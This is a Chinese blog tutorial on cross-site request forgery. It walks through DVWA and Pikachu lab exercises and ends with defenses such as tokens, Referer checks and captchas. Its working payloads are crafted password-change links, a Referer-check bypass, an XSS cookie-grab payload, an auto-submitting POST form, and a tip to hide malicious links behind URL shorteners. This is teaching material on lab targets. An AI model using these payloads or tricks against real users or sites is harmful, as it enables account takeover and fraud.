🌝博客主页:泥菩萨
💖专栏:Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具
一、概述
跨站请求伪造,是一种挟持用户在当前已登陆的web应用程序上执行非本意操作的攻击方法,允许攻击者诱导用户执行他们他不打算执行的操作
该漏洞允许攻击者部分规避同源策略,该策略旨在防止不同网站相互干扰
【同源策略】:同网站下的域名只能访问本网站的资源,不能访问其他网站
Web A为存在CSRF漏洞的业务网站,Web B为攻击者构建的恶意网站,
CSRF攻击原理及过程如下:
1、用户打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A
2、在用户信息经过验证后,网站A产生cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A
3、用户未退出网站A之前,在同一浏览器中打开一个TAB页访问网站B
4、网站B接收到用户的请求后,返回一些攻击性的代码,并发出一个请求要求用户去访问站点A
5、浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,像网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户的cookie信息以用户的权限处理该请求,导致来自网站B的恶意代码被执行
csrf和xss的区别:
csrf是借助用户的权限完成攻击,攻击者并没有拿到用户的权限;xss是盗取用户的cookie值直接获取用户的权限来实施攻击
要使csrf攻击成为可能,必须具备三个关键条件:
- **一个功能操作。**应用程序中存在攻击者有可能诱导用户的操作,这可能是特权操作(例如修改其他用户的权限)或对用户特定数据的任何操作(例如更改用户的邮箱、密码
- **基于cookie的会话处理。**执行该操作涉及发出一个或多个HTTP请求,并且应用程序仅依赖会话cookie来识别发出请求的用户,没有其他机制可用于跟踪会话或验证用户请求
- **没有不可预测的请求参数。**执行该操作的请求不包含攻击者无法确定或猜测其值的任何参数。例如,当用户更改密码时,如果攻击者需要知道现有密码的值,则该功能不会受到攻击,因为攻击者预先构造的恶意链接中无法提前预测并定义“现有密码“的值
get请求,攻击者可以直接构造恶意链接发送给用户;post请求,控制用户发送post请求
二、DVWA演示
docker环境:citizenstig/dvwa
Low
在dvwa靶场的csrf模块,源码分析
尝试修改密码为123456,可以看到修改成功
看到顶部的URL是:
10.0.0.158:8089/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
了解这个原理后,我们开始实验
(1)edge浏览器登录pablo/letmein账号
将等级调到LOW
(2)根据上面的URL,构造payload,发送给pablo用户让其访问:
10.0.0.158:8089/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
可以看到,直接跳转到了密码成功的页面了
但是,这样的payload,一般人都可以看出来存在陷阱,往往不会去点击,因此我们还需要进一步伪装,把它缩短
短网址链接:https://www.ft12.com/
提醒一句,以后但凡看见很短的url,然后以很不常见的格式出现,千万别着急点击浏览
点击短网址之后,现在的密码已经变成aaa,不再是123456
Medium
源代码分析:
在Low的基础上增加了eregi函数,该函数会在一个字符中搜索指定的内容,搜索不区分大小写
也就是从http的请求包中的 refere
r 参数搜索 host
参数,如果能匹配上,意味着请求来自于本网站,是可信的
if( eregi( $_SERVER[ 'SERVER_NAME' ],$_SERVER[ 'HTTP_REFERER' ]))
HTTP_REFERER
表示发送请求的来源:referer
SERVER_NAME
表示目标网站的主机名:host
绕过方法:只要保证referer里面包含host即可
referer: www.baidu.com.hack.com
host: www.baidu.com
点击修改密码,用brup抓包,让referer包含host的值
放包,显示修改成功
High
实验目的:在1337用户不知情的情况下修改其密码
用户:1337/charley
攻击者:admin/123456
源代码分析:增加了自动设置token机制
用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端请求
(1)Edge浏览器登录1337/charley账号
利用xss漏洞获取1337用户cookie值
<img src=x OnerrOr=alert(document.cookie)>
获得cookie信息
BEEFHOOK=cjYtdD5mOoVBcirh1iQRGrtsEj9FN2DQ6XsR2Ke7BAAApycFlMWrBQY0ITihzPbiH8x71eC0LDwzi1y1; PHPSESSID=69t7109d3ku3ikl76qmajrajp2; security=low
(2)火狐浏览器登录admin/123456账号
在csrf模块,随便设置要修改的密码,设置的是password
注意:在这里设置的密码通过csrf最后改的是1337用户的密码
抓包把cookie值改为1337用户的cookie值,修改security安全级别为low,删除token值
放包,退出后登录1337/password账号
登陆成功!!
三、Pikachu演示
1、电话地址修改 CSRF(GET)
火狐浏览器的vince是攻击者
edge浏览器的allen是被攻击者
(1)火狐浏览器登录vince/123456用户
点击修改个人信息
然后抓包,看是否符合CSRF漏洞利用特征
通过上面url,构造恶意url,发送给目标用户
#主机名+路径
10.0.0.158:8081/vul/csrf/csrfget/csrf_get_edit.php?sex=1&phonenum=2&add=3&email=4&submit=submit
用户一定要在同一个浏览器里点击,携带cookie,才有攻击效果
(2)edge登录allen/123456账号
allen在已经登陆账号的情况下
在同一浏览器访问了恶意链接,发现个人信息被修改了
2、钓鱼攻击 CSRF(POST)
火狐浏览器的kobe是攻击者
edge浏览器的lili是被攻击者
(1)火狐浏览器登录kobe/123456用户
抓包进行分析:当请求从get变为post,我们不能构造url进行攻击了
这时我们可以制作一个链接给用户,控制用户发起POST请求
连接代码:
<html>
<head>
<script>
window.onload = function(){
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<!-- 表单以post方式提交,这里的url要更改网站ip -->
<form method="post" action="http://10.0.0.158:8081//vul/csrf/csrfpost/csrf_post_edit.php">
<!-- 性别 -->
<input id="sex" type="text" name="sex" value="girl" />
<!-- 手机号 -->
<input id="phonenum" type="text" name="phonenum" value="100000002" />
<!-- 家庭住址 -->
<input id="add" type="text" name="add" value="hacker" />
<!-- 邮箱 -->
<input id="email" type="text" name="email" value="lucy@pikachu.com" />
<!-- 自动提交按钮,绑定了事件 -->
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
打开vscode,复制粘贴上述代码,ctrl+s保存
安装live server插件
右键单击Open with Live server,让代码加载到浏览器中
发给lili用户,希望被其访问…
(2)edge登录lili/123456账号
当lili用户访问恶意链接时,发现自己不做任何操作,信息就已经被更改了
因为攻击者构造的恶意代码中,有自动提交操作
四、使用burp生成CSRP利用poc
找到存在csrf漏洞的数据包
右键单击Engagement tools -> Generate CSRF PoC,生成CSRF POC
发现下方出现了html代码
我们可以添加自动提交脚本,右上角options --> 勾选include auto-submit script,再点击Regenerate重新生成代码
这个时候代码里多了一段重新生成的脚本
复制粘贴poc到vscode里,让其在浏览器中运行
但是发现还是需要用户自己手动提交,才能修改信息成功,这不符合我们想要实现的目的
查看poc分析原因是burp生成的poc,没有对提交按钮进行绑定事件,所以我们要自己完善一下代码
在靶场环境测试了一下,发现成功
五、防御CSRF漏洞
防御CSRF攻击最可靠的方法是在相关请求中设置CSRF Token
1、验证HTTP Referer字段
(1)拿到Referer
(2)分割出Referer中的域名
(3)根据后缀匹配域名是否是可信域
但是有的浏览器会禁用掉referer,所以只是在一定程度上防御CSRF攻击
2、在请求地址中添加token并验证
可以在HTTP请求中以参数的形式加入一个随机产生的token,并在服务端建立一个拦截器来验证这个token,如果请求中没有token或者token内容不正确,则认为可能是CSRF攻击而拒绝该请求
3、添加验证码
验证码被认为是对抗CSRF攻击最简洁有效的防御方法
要结合具体的业务场景来使用